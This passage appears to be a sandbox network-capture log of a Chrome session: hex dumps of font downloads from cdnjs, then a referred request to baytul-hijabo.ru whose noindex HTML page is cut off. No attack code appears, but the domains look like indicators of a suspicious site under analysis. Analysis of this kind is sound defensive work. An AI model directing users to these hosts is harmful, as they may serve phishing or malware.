2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 99 c2 39 05 e7 e7 02 5c 84 8b 72 49 2e c5 55 b8 2a 2f e3 4d bc 9d f7 f2 31 3e c9 67 f9 12 df e2 07 fc 98 a9 1f e7 16 79 ec d9 25 8f 14 94 52 52 6e 55 cd a4 b5 74 90 ae d2 5d fa b0 a1 d1 32 4e 26 c9 14 99 25 2b 65 b5 6c 66 fc e4 dc ae 6d f5 41 42 b6 fc 29 6a 6f f2 1f f1 90 10 c9 e7 cc 8d 7c 28 88 72 5f a6 09 5a a2 2d 3a a2 0f fa 61 10 86 62 3c 26 63 1a 66 62 3e 96 b1 f1 9b b0 15 db b1 07 07 70 02 67 70 01 97 70 15 d7 71 07 f7 d9 ea 15 02 3d b3 5b b8 8b ea 62 f4 13 b9 a4 2e c5 bc f1 50 bc 3f f5 e7 ec 9f f3 e6 72 fc ef 6a fe 7f f8 ff 83 ff ef fc 7f e3 ff 6b f8 63 13 a6 40 e9 02 45 0b 14 8c df e2 fd 78 31 1e 8f c7 e2 8e b8 2d 6e 8d 9b e3 06 20 2e 8c b3 e3 8c 58 29 96 8e 25 62 9e 98 2e a6 f4 ff fd b3 bf f6 47 7e c3 cf f8 69 3f e0 3b 7d 9b 6f f2 8d be c1 57 f8 Data Ascii: 9\rI.U*/M1>gy%RRnUt]2N&%+elfmAB)jo\|(r_Z-:ab<&cfb>pgppq=[b.P?rjkc@Ex1-n .X)%b.G~i?;}oW
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 6a 1b 73 8c cb b4 11 80 0d 0b b3 00 e3 43 7b f1 70 cf 22 0c 69 bf 79 6f 57 77 e9 2e 1c f2 43 a6 3f 5b 5a 83 b3 6a 52 78 3a 5a 87 7a 1c ff c4 b4 e3 c0 8e 01 3b 04 6c 2f 3c 4a df c3 15 dc 41 69 f5 e4 af 6b 43 38 89 8c 1a 34 a6 09 4d 69 46 73 5a d0 92 56 b4 a6 0d 6d 69 47 7b 3a d0 91 12 65 aa c8 a9 a6 42 50 d0 89 ce 74 a1 2b dd e8 4e 0f 7a 72 2d f7 d8 e5 76 85 5d 69 d7 d9 f5 76 93 dd 62 b7 da 5d 76 9f 3d 61 4f da 53 f6 96 bd 6f 1f d8 87 f6 91 7d 6c 9f d8 a7 f6 b9 7d 61 5f da 37 f6 ad 7d 67 3f d9 cf f6 8b fd 6a 7f da 0c 9b 63 8b 6c b1 ad b2 d5 42 35 d5 5c 2d d5 56 b9 ba ab 87 7a a9 bf 06 68 a0 86 6a b8 c6 6a 9c c6 6b 92 26 6b 8a a6 6a 5b 6d a7 1d b4 93 76 d5 b1 3a 59 a7 ea 0c 9d ad 0b 74 a1 2e d2 c5 ba 44 97 ea 32 5d ae eb 74 bd 6e d3 ed ba 57 8f e8 49 bd a9 Data Ascii: jsC{p"iyoWw.C?[ZjRx:Zz;l/<JAikC84MiFsZVmiG{:eBPt+Nzr-v]ivb]v=aOSo}l}a_7}g?jclB5\-Vzhjjk&kj[mv:Yt.D2]tnWI
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 56 d7 4b 08 3b 50 af 05 3b 52 6f 0d 3b 51 ef 08 3b 53 ef 0a bb 50 1f bc 1c bb 52 1f 43 7d 6c ff ab ae 4f 77 39 f6 a0 be 88 fa e2 3e 57 5d df 20 ec 4d 7d 07 ec 43 fd 08 ec 4b fd 0c ec 47 fd 02 ec 4f fd 36 1c 40 fd 2e 1c 48 fd 3e 1c 44 fd 3d 1c 4c fd 33 1c 42 fd 1b 1c 4a fd 1f 1c 46 6f f0 08 0e a7 37 15 bd a9 71 04 bd 59 81 a3 e8 2d 0a 47 d3 3b 11 8e a1 77 09 1c 4b ef 7e 38 8e de c3 70 3c bd 67 e1 04 7a 2f 8d e0 44 7a af d2 7b 0d 27 d1 fb 02 38 85 de b7 70 2a 7d 93 c3 69 f4 dd 3e 82 d3 e9 bb 93 be bb 70 06 7d bf 02 67 d1 2c 02 67 d3 2c 3b 82 73 68 96 a7 59 01 e7 d2 ec 02 9c 4f b3 f7 57 74 01 cd 7e 34 fb e3 42 9a 83 68 0e c6 c5 34 67 00 97 d2 9c 03 97 d1 5c fb 15 5d 4e 73 03 cd ad b8 82 e6 76 9a 3b 70 1d cd dd 2c c7 0d 34 f7 d2 bc d2 cf fd 89 9a d7 68 3e c3 Data Ascii: VK;P;Ro;Q;SPRC}lOw9>W] M}CKGO6@.H>D=L3BJFo7qY-G;wK~8p<gz/Dz{'8p*}i>p}g,g,;shYOWt~4Bh4g\]Nsv;p,4h>
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 94 0d fa 07 79 d9 e8 25 b1 36 65 d3 88 58 87 b2 39 65 0b 62 5d ca 61 48 37 37 e5 f0 88 6e 1e ca d1 94 63 88 f5 29 a7 22 b1 21 e5 aa 82 d8 88 f2 30 e5 91 f1 58 5e 1e 53 62 53 ca 53 12 9b 51 9e 8b 88 cd 29 2f 51 5e 21 b6 a0 bc 86 c4 d6 94 8f 24 b6 a1 7c 2a b1 2d e5 2b 89 ed 28 3f 45 c4 f6 94 bf 28 7f 13 3b 50 fe 45 fa 33 29 ff 4b ec 44 1d 24 b1 33 75 54 89 5d a8 93 4b ec 4a 9d 52 62 37 ea 54 05 31 15 75 76 ea 9c 4f e7 f2 3a b7 05 b1 17 75 3e ea fc cf e0 f2 ba a0 12 fb 52 17 91 d8 8f ba 98 c4 fe d4 25 24 0e a0 2e 25 71 20 75 19 89 83 a8 2b 48 1c 4c 5d 59 e2 10 ea aa 12 87 52 d7 90 38 8c ba 6e 41 1c 4e dd 90 ba d1 b8 37 af 9b 18 11 47 51 37 a3 6e 4e 1c 4d dd 9a 92 71 2c 75 5b ea 4e c4 71 d4 5d a9 bb 13 a7 50 f7 24 22 4e a7 ee 43 dd 8f 38 83 7a 10 05 dd 42 d4 Data Ascii: y%6eX9eb]aH77nc)"!0X^SbSSQ)/Q^!$\|*-+(?E(;PE3)KD$3uT]KJRb7T1uvO:u>R%$.%q u+HL]YR8nAN7GQ7nNMq,u[Nq]P$"NC8zB
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: f2 28 d4 26 e6 7c 14 1a 13 db 11 85 16 c4 65 14 5a 12 57 a0 d0 9a 78 8f 42 1b e2 4b a0 d0 9e f8 51 28 74 26 f6 01 14 ba 10 73 0b 0a 3d 88 1f 87 c2 58 a2 7f 50 98 40 dc 01 14 26 7a 3c ac 92 f8 d1 28 ac 21 ae 1e 0a db 88 ed 87 c2 4e 62 1f 47 61 17 71 dd 50 38 9c e8 63 14 8e 20 e6 55 14 ce 24 e6 4a 14 ce 25 f6 3e 14 ce 27 76 09 0a 97 10 9d 84 c2 a5 c4 ec 40 e1 5a a2 cb 51 b8 8e d8 3f 51 b8 99 b8 f3 51 b8 83 d8 4f 51 b8 9b e8 58 14 1e 23 76 1b 0a 8f 13 33 0b 85 27 88 ef 8c c2 93 c4 7d 87 c2 d3 c4 cd 46 e1 19 a2 bf 50 78 8e d8 83 28 bc 40 dc 36 14 5e 26 e6 13 14 5e 23 f6 68 14 de 24 f6 28 14 de 22 ee 2b 14 de 21 6e 37 0a ef 13 77 39 0a 1f 12 77 3b 0a 9f 11 9d 8b c2 17 c4 5c 83 c2 d7 c4 f4 47 e1 3b e2 c6 a1 f0 23 71 06 85 48 74 19 0a 87 88 ae 45 d1 11 f7 3a 8a Data Ascii: (&\|eZWxBKQ(t&s=XP@&z<(!NbGaqP8c U$J%>'v@ZQ?QQOQX#v3'}FPx(@6^&^#h$("+!n7w9w;\G;#qHtE:
2024-10-30 15:25:45 UTC	1369	IN	Data Raw: 37 46 cc ef c8 8d 13 76 42 6e 92 f8 e3 68 f4 34 e2 9f 8b 46 4f 27 de 2c 34 7a 39 31 6f a0 d1 1b 89 f1 d1 e8 33 c4 ff 19 8d ae fd 4f 8a b9 98 12 4c b5 b5 5c 6d ca 44 24 6c c8 30 e4 79 90 d7 b3 9e b4 d1 d7 a8 67 41 9e d6 d3 9e 2c c8 fb 1a 7d 69 96 0f 34 f3 2c 6b e6 9b 67 b5 b4 96 f6 64 e5 a0 1c 6c 9e 0d d6 07 eb 3d 0b 5b ad 56 ab fe e4 93 4f b6 46 96 8f 8c 8c 8c 34 9e 7c f2 c9 91 d6 e4 0f 8a e2 44 9b 25 71 24 45 71 32 f9 55 12 47 9a 5d 14 45 31 f9 df ec a2 68 17 45 a1 ce a2 5d 14 dd 49 1c 49 51 9c 4c 1e 92 c4 91 14 c5 89 6e 03 f0 a6 fe 9d fa 8a 9d 75 1b 55 b6 80 e9 33 ea 59 36 d8 b7 45 50 ae f6 64 49 5a 6b 0c e5 cd e1 1e bf 99 37 eb 83 f5 72 50 4e 6b e9 c2 30 8c e3 30 0c c3 38 0e c3 cd d2 ce 4a a5 33 4d 3b 2b 95 ce 54 cb e3 30 0c c3 78 8a 38 0c c3 30 16 93 Data Ascii: 7FvBnh4FO',4z91o3OL\mD$l0ygA,}i4,kgdl=[VOF4\|D%q$Eq2UG]E1hE]IIQLnuU3Y6EPdIZk7rPNk008J3M;+T0x80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49749	104.17.24.14	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:44 UTC	654	OUT	GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-brands-400.woff2 HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://zastromts.za.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:44 UTC	975	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:44 GMT Content-Type: application/octet-stream; charset=utf-8 Content-Length: 116672 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: "656632a7-1c7c0" Last-Modified: Tue, 28 Nov 2023 18:34:15 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 422282 Expires: Mon, 20 Oct 2025 15:25:44 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDxvQ35dY13Fhm3imuu1Qie%2FNWIc6XV9WmjykgbWeW7ZODdebo6RO3WdkMXnIxkbAyh%2FyxnDZ3qS3pr6HoucBokGJDXdNyUnwt5rz2BRR6SNNSacnGkVWqBavWOaN9XvUa4VEcCA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8dac6b73aedc2e61-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:44 UTC	394	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 c7 c0 00 0a 00 00 00 03 0e 91 00 01 c7 73 03 05 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 36 02 24 04 20 06 60 03 90 48 00 a5 56 ca 8b cc 10 cb 90 4c 05 88 1d 07 20 25 48 87 71 6a 08 dd 30 3d 00 00 b4 fa 79 50 46 f4 a4 d5 e2 01 50 55 55 4f 09 61 5e db f6 2a 20 fc f4 cb 6f 7f fc e5 6f ff f8 d7 7f fe f7 97 81 b1 3b 20 96 ed b8 9e 6f f8 ff 7e bf d7 75 f6 7f 2f c0 ec 62 93 f6 96 59 d6 75 2a e3 4b b7 a0 aa be 90 11 32 aa 80 77 fc 1f 5f 09 e8 82 70 96 d8 b4 ac 9d e8 31 d1 6e 2f a2 ce 8b 98 d3 09 2f 46 92 a3 74 f6 e5 01 e4 4f ec 65 2e d2 89 3a 81 e8 d4 dd b9 c9 3f 01 9e a7 9c e6 fb ce c6 aa bc 96 42 b2 55 e0 80 0a 34 01 a9 84 47 22 bb 40 37 e0 1b 91 4a c0 49 f6 54 5a 42 9e 91 c7 cb ff 87 33 fd 9f 3b a0 11 Data Ascii: wOF2s6$ `HVL %Hqj0=yPFPUUOa^* oo; o~u/bYu*K2w_p1n//FtOe.:?BU4G"@7JITZB3;
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 76 17 95 45 34 79 e0 81 1f 44 43 74 91 10 31 62 7c e2 2f 01 12 f2 95 e8 d7 24 c4 9d d8 bc ff 1f a7 e5 bf fb 24 bd 27 59 b2 08 6d d9 92 2c c9 b1 e3 c4 b2 ad c8 c1 81 74 93 81 cd 2c 36 8b 90 a5 4e 69 b6 e5 f9 29 21 66 97 e7 b4 b3 2d 4f 11 3e 20 27 3f cf cf 9a 7f cf d5 a7 92 bc 98 bc c9 4c 32 93 97 e4 e5 65 44 57 d9 65 97 15 63 59 d8 c5 a5 e2 f3 ff 87 2a d4 a9 d3 42 9d f6 0b fd 0a d5 2d 35 a3 d4 8c 2f 66 19 ff ff 69 9a de f7 ff cc ff 33 ac 61 69 24 db b2 25 5b 36 cb 80 4b f6 02 60 80 c0 61 07 78 83 ec b6 09 3b 05 4c d8 a7 71 4e 5d 76 79 0b ec 02 6f 43 08 ff cf f3 67 fe 3a bb 33 05 a7 f2 ad 94 49 95 0a 1c 64 a0 97 9f bc 5a fa 94 fc ef 7b 2b ad f6 40 02 65 46 56 f7 cc b4 d4 39 32 46 c8 75 81 a3 e5 56 69 db d7 39 f7 fd c5 7d ef 7f b3 79 df 3d 16 df 3d 72 f1 3d Data Ascii: vE4yDCt1b\|/$$'Ym,t,6Ni)!f-O> '?L2eDWecY*B-5/fi3ai$%[6K`ax;LqN]vyoCg:3IdZ{+@eFV92FuVi9}y==r=
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: a1 07 f4 84 5e d0 1b fa 40 5f e8 07 fd 61 00 0c 84 41 30 18 86 c0 50 18 06 c3 61 04 8c 84 51 30 1a c6 c0 58 18 07 e3 61 02 4c cc 57 22 5f ab 7c ad f3 b5 c9 d7 2e df 6a cd 4f 8b d0 1c 5a 56 ad 81 d6 52 6b a7 cd d2 e6 39 ff 27 3e 4b aa 9e d4 3d e9 7d b2 92 5c 31 b9 61 f2 fa e4 8d c9 db 52 4a a4 0c 4f 39 92 72 57 0f d2 e3 f5 42 7a 31 bd 8a 5e c3 e8 67 0c 30 66 18 8b 8c 15 c6 46 e3 b5 e1 c4 08 cc 8f 05 b1 2c 56 c6 36 d8 11 fb e2 00 1c 88 43 71 04 8e c4 d1 38 15 a7 e3 2c 5c 8c ab 70 1d 6e c4 2d 78 00 cf e2 15 7c 84 6f f1 07 fe 45 13 d3 c8 4e 01 24 28 9a 8a 53 49 2a 47 55 a9 31 75 a5 1e 34 88 86 d2 70 9a 4a 33 68 01 ad a0 55 b4 9a d6 d3 46 da 43 07 e9 10 1d a1 53 74 8e ee d0 07 fa 42 1a 77 e6 31 3c 85 55 9e cd f3 78 29 af e5 0d bc 95 77 f1 09 be cc d7 f8 16 df Data Ascii: ^@_aA0PaQ0XaLW"_\|.jOZVRk9'>K=}\1aRJO9rWBz1^g0fF,V6Cq8,\pn-x\|oEN$(SI*GU1u4pJ3hUFCStBw1<Ux)w
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 35 16 2d 33 c7 ea 2c da 66 8e 35 58 f4 e9 1c 6b b2 b8 fd 1c 6b b1 78 d6 1c 6b b3 78 b5 39 d6 61 f1 a5 73 ac cb e2 cb e7 58 8f c5 d7 8c 61 7d 96 4c 60 c9 44 6c c0 92 7d 68 4c 1b b1 e4 0e 96 dc 85 8d 59 f2 12 4b 5e c6 69 dc a8 f0 18 b6 a0 d1 83 46 6f 6c 49 63 34 0d b1 2d 8d b1 34 c6 63 b8 ab 31 9b c6 dc a3 ab b1 0c 8d 65 f1 18 37 77 7e cc d1 86 e6 ae 43 b4 a6 79 2c cd e3 f0 19 37 cf e0 39 f6 a0 79 de 10 7b d2 bc 94 e6 e5 98 ec 6a be 47 f3 43 dc c5 cd 05 c7 1c 07 92 3a cf 71 10 69 c4 1c 5d 48 a3 be f2 a5 96 71 9a c6 43 1c 4c 9a 4d 9a 83 b5 38 6d c8 73 b4 24 6d 36 c7 61 a4 9d c6 08 b7 90 76 26 ed 8a c3 49 bb 11 ca e3 ef 4e da 0b 47 91 f6 21 ed 8b e3 48 fb f1 1e 3a 9e b4 3f e9 00 9c 40 3a 94 74 14 4e 22 1d 43 3a 16 67 90 4e a0 31 9c 45 3a 95 74 26 ce 26 5d 40 Data Ascii: 5-3,f5Xkkxkx9asXa}L`Dl}hLYK^iFolIc4-4c1e7w~Cy,79y{jGC:qi]HqCLM8ms$m6av&ING!H:?@:tN"C:gN1E:t&&]@
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: f7 cc 29 37 2f 29 15 4a ea 37 af 66 9d 7c a9 54 ba b5 74 ab d4 c3 27 c4 76 e4 c1 13 2e e7 50 a2 89 ec f8 6f 49 f5 b5 39 e1 72 13 57 5a 9e 8c c7 e3 f1 73 65 d3 b3 e7 53 d8 82 29 7a 35 42 7e 5f 69 1d 85 a1 ee 67 9b 3a d2 4a 47 2a e2 06 37 d2 54 27 dc f0 4a 16 29 a5 fb b8 11 7d 7d 6e f0 50 07 dc 88 bb 69 32 18 e8 cd 78 53 c7 5a eb 24 fd df 15 b6 4e 55 54 e4 be 7d a4 24 4d b5 d6 9b 75 ae 49 91 17 03 bd 55 e4 d9 c4 b5 2c 4c 60 53 72 13 13 c7 76 37 36 9b 0b 40 28 76 aa 9a 40 a4 aa 41 e4 0a c3 f0 2a b5 a0 ba aa ff 51 10 c0 af d5 43 c1 28 33 84 23 bd 30 2c eb 46 0d 63 42 ec 9a 26 51 b5 1a 44 52 72 e6 fb b5 40 59 96 0b 53 cb 72 97 c0 24 8e ed 4a ce b1 c9 a5 28 97 98 c1 4b 02 98 69 0a b7 de 68 2f fa be 6d 92 8e 6b 59 96 e5 c6 84 73 cb 10 42 0a ca 18 37 0c 62 38 4e Data Ascii: )7/)J7f\|Tt'v.PoI9rWZseS)z5B~_ig:JG7T'J)}}nPi2xSZ$NUT}$MuIU,L`Srv76@(v@AQC(3#0,FcB&QDRr@YSr$J(Kih/mkYsB7b8N
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 55 f1 bb f7 ff 0f 86 a0 94 71 21 c4 6c ea 01 78 30 12 42 70 78 8e 10 82 df 76 1b 17 42 08 4a d9 c4 f6 7d 7b c2 28 15 31 52 55 46 23 f8 14 8c 50 88 56 b2 b6 d3 77 22 51 27 b3 dc 7d 27 d4 d8 cd 5c e1 60 83 38 eb 6c 22 db 0c b7 e7 9b a6 7f c1 03 46 b5 66 30 ce a3 f7 8d 9a 38 c4 34 c3 29 ed a1 82 f6 78 e5 89 84 51 2a 80 cf 1e cb e2 1b 60 f4 e7 66 36 7d 7c 8c ca f3 3d d8 84 09 3a 84 2e c2 63 46 ff 38 d4 51 a0 27 96 12 a7 e2 7c 80 c8 ec 15 26 d2 6e f7 73 d9 31 70 b2 69 76 16 56 52 60 03 47 9d fd 0b a5 72 5b 27 43 d8 7c 52 92 04 8d b9 9b 76 fd 85 fa 26 94 d5 89 20 cd 46 65 61 a1 43 9b b4 14 e1 19 53 90 2b 3b 62 84 e6 53 8c 60 8a 4e a2 9b 10 02 16 b1 14 a9 48 a1 29 f8 f2 81 94 fc db b0 0e 32 0f 36 66 44 b3 33 c3 10 43 1e 21 49 93 54 25 3c 73 3d ba 32 cf 31 ce f3 Data Ascii: Uq!lx0BpxvBJ}{(1RUF#PVw"Q'}'\`8l"Ff084)xQ*`f6}\|=:.cF8Q'\|&ns1pivVR`Gr['C\|Rv& FeaCS+;bS`NH)26fD3C!IT%<s=21
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 53 3b 70 35 c1 e6 d5 cb b5 2a e0 e5 7d 87 cf 4e d6 75 55 04 10 a9 2e 18 85 d3 c0 1a be b6 23 8f f3 52 6f 29 5e 3f bc 6f 19 ef 4d 20 52 dd ae 8a c0 f7 c8 ff 0c 76 e0 43 e8 69 a9 04 97 5b 56 9b 3a ca 0a 94 d8 33 af b5 7b ec 62 a6 42 26 dc eb 22 fb 4d bd 07 b8 cc 82 d2 a9 9f 5f 46 b0 a9 25 69 a1 b9 4e f8 13 9b 94 30 2a 17 0f 60 a8 35 ea aa ea 4a c3 1d 16 27 fc 6a 2d 60 14 83 34 47 3e 28 8e e4 16 40 e0 07 72 bb 7d 9f 7f e2 dc 6e bb c3 e2 84 13 46 42 72 83 50 c7 91 76 10 d8 8c 6d b7 e1 3a d9 08 2c db aa b8 c0 2d bb 54 5e 6c 2e 8d aa 91 20 26 e7 18 80 09 47 4a 83 51 4c c0 e0 06 36 dd 8f 22 63 23 a5 04 30 7a e4 c7 95 dc 20 84 50 dc 6a 99 25 fe f0 f0 63 98 a0 18 93 0c 44 9e 14 85 84 82 08 ca 45 13 ec 91 9a 72 d0 67 ca e7 18 dc ef 09 97 7c cb 12 e6 f4 c1 a1 a5 b6 Data Ascii: S;p5}NuU.#Ro)^?oM RvCi[V:3{bB&"M_F%iN0`5J'j-`4G>(@r}nFBrPvm:,-T^l. &GJQL6"c#0z Pj%cDErg\|
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 2f 71 d3 ae 54 02 e8 76 fb 44 6f 9e 37 d2 9b 44 df 57 4e 61 0a 53 74 0c 21 5f a5 83 4f 18 2c 1f 59 14 7a a0 b9 0e 75 a1 07 3a 57 6a 50 9d c5 df 51 ba d0 d5 20 a6 e4 0b 40 85 5a e9 81 4e 75 f8 3f 27 4f 9e a4 f4 0c a3 bb 94 9e fc d6 65 98 9d 61 60 9c bc ec 5b df ba ec a4 01 ec 0c c3 97 7d 0b 9e b4 be be 4e e9 01 8c 0f 50 ba 7e fa 25 ff be 7e 93 81 0f 60 76 96 c1 c6 fa 4b 5e b2 be 01 ec 2c c3 07 b0 71 d3 fa bf bf e4 34 42 88 20 34 f7 03 d6 55 50 0d e5 08 f5 04 b4 89 f1 95 5b 69 92 f6 3c cf eb 68 8f 70 41 1b 0f ea f5 0e 8e cc 7e a0 0b 58 71 64 e0 4a 29 83 50 ba 86 e1 cc 7e 0c d3 8b 06 83 01 94 97 1b 51 28 1c 47 84 51 bd ec 4a 71 e0 f3 86 94 41 24 5d d7 0d 85 e3 18 ff 3c 1b c1 74 3e c6 7d d5 86 2b 23 b5 b0 10 29 29 19 13 97 89 2b 7d c5 af b8 84 40 a7 d0 d3 d0 Data Ascii: /qTvDo7DWNaSt!_O,Yzu:WjPQ @ZNu?'Oea`[}NP~%~`vK^,q4B 4UP[i<hpA~XqdJ)P~Q(GQJqA$]<t>}+#))+}@
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 87 8c c3 86 e9 38 66 70 c7 1d 77 dc f1 ca ed 67 08 31 09 d9 1d 47 dc 15 ee c2 13 78 12 df 8d 67 f0 0b f8 3d 6a d2 88 a6 84 8c 8a a4 c8 e7 92 6e b9 50 33 35 0b 9a ab b2 42 a5 2a 5f 0f e5 db 01 79 db ec f6 c2 66 92 35 93 2a 2d 8a 0a ea 48 25 b2 cb 03 17 a5 4a b3 f5 b9 91 54 a1 12 f2 e7 27 6a 12 25 49 a2 86 7f e4 27 9b 64 52 a5 ef 9d 50 4e a2 8b 98 b2 44 85 52 0e 53 77 12 15 47 81 7e 31 51 61 f4 ec cb e4 f2 43 3e 86 d5 db 81 ea b6 b0 3d 89 92 c7 ce 34 99 96 60 30 46 a5 a6 c9 44 25 2a 2e a7 55 a5 16 65 a2 a4 76 63 5a 3e cd 9d 57 6a 56 2e aa 46 a1 de 0e 14 b7 4d 17 66 65 f5 a8 f3 4b 3d e3 a2 60 72 6b e6 b3 42 e6 d2 41 66 31 0d c9 8b 52 4d e7 73 35 93 3e 34 50 04 c7 c2 f5 99 96 4a 48 f7 4b f7 a2 52 2a 4e b2 d1 d5 a5 8a 93 a2 92 a8 3a ed 9c 42 5e 15 b3 6a 51 2a Data Ascii: 8fpwg1Gxg=jnP35B_yf5-H%JT'j%I'dRPNDRSwG~1QaC>=4`0FD%.UevcZ>WjV.FMfeK=`rkBAf1RMs5>4PJHKRN:B^jQ*
2024-10-30 15:25:45 UTC	1369	IN	Data Raw: 5e f4 c2 a7 b6 bf b5 7d d3 f7 be f7 bd 7f f9 e5 77 bf fb dd 6f 43 8a 0f 5d 5a cc bf 0a ff 05 df 42 4f 40 a8 97 0c b4 de f2 5e f1 62 82 8e 6e c6 04 ae b0 c6 dc 12 78 11 a9 13 f0 01 83 ad 41 32 15 0d c4 25 d8 58 5f 14 c0 9f 76 3c cf 71 9a ad d5 0b cf 3b 6f 41 62 22 29 75 aa aa d5 c5 38 ea b6 30 76 a4 a4 18 db 96 69 db e5 b2 5b 62 98 38 9e e7 3a 04 07 65 e1 18 06 00 70 a3 cc ad 52 c5 0f 03 21 4b 1c 53 29 84 00 db 76 38 7d e2 62 ab d5 5b 5d 5d ed 74 dd 60 b1 79 fe 52 d2 6a 38 4e d2 6c f9 91 65 01 f6 00 18 37 0d 4a c3 7a 3d f4 6c ab e2 59 84 f9 81 ef 87 f5 4e ad cc 0d af ec 12 e6 56 2a 96 59 e2 b6 5f 2e 03 8b 54 c5 24 84 73 8c 85 6d 5b 26 a5 08 21 86 d0 9c b7 32 b4 84 5a 68 1b 9d 44 bb 08 f5 44 58 40 ba d8 2a 9d f6 ce 8b 4e a7 03 d0 c0 81 68 7d fe 79 89 27 a0 Data Ascii: ^}woC]ZBO@^bnxA2%X_v<q;oAb")u80vi[b8:epR!KS)v8}b[]]t`yRj8Nle7Jz=lYNVY_.T$sm[&!2ZhDDX@Nh}y'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49756	104.21.11.102	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:55 UTC	702	OUT	GET // HTTP/1.1 Host: baytul-hijabo.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://zastromts.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:56 UTC	843	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XXRnU9qr6CiUPZharpy6aO4ThwsEMeqL8I2%2BZZxxUTnJy2LElY8FzQA%2B6selCIrjIjPy2cC8El6KrAvb1fip3%2FTkLmwpy1JaYJ0sSSN6dEOYInniDFnoXBWW7yLMkJk2BK%2Bg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac6bb7bdfb0c1b-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1403&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1280&delivery_rate=2023759&cwnd=76&unsent_bytes=0&cid=d2875e0d1d7fc481&ts=506&x=0"
2024-10-30 15:25:56 UTC	526	IN	Data Raw: 31 64 37 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 2c 20 6e 6f 73 6e 69 70 70 65 74 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 47 6f 6c 64 65 6e 20 41 67 65 20 43 61 72 20 Data Ascii: 1d77<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noarchive, nosnippet, noindex, 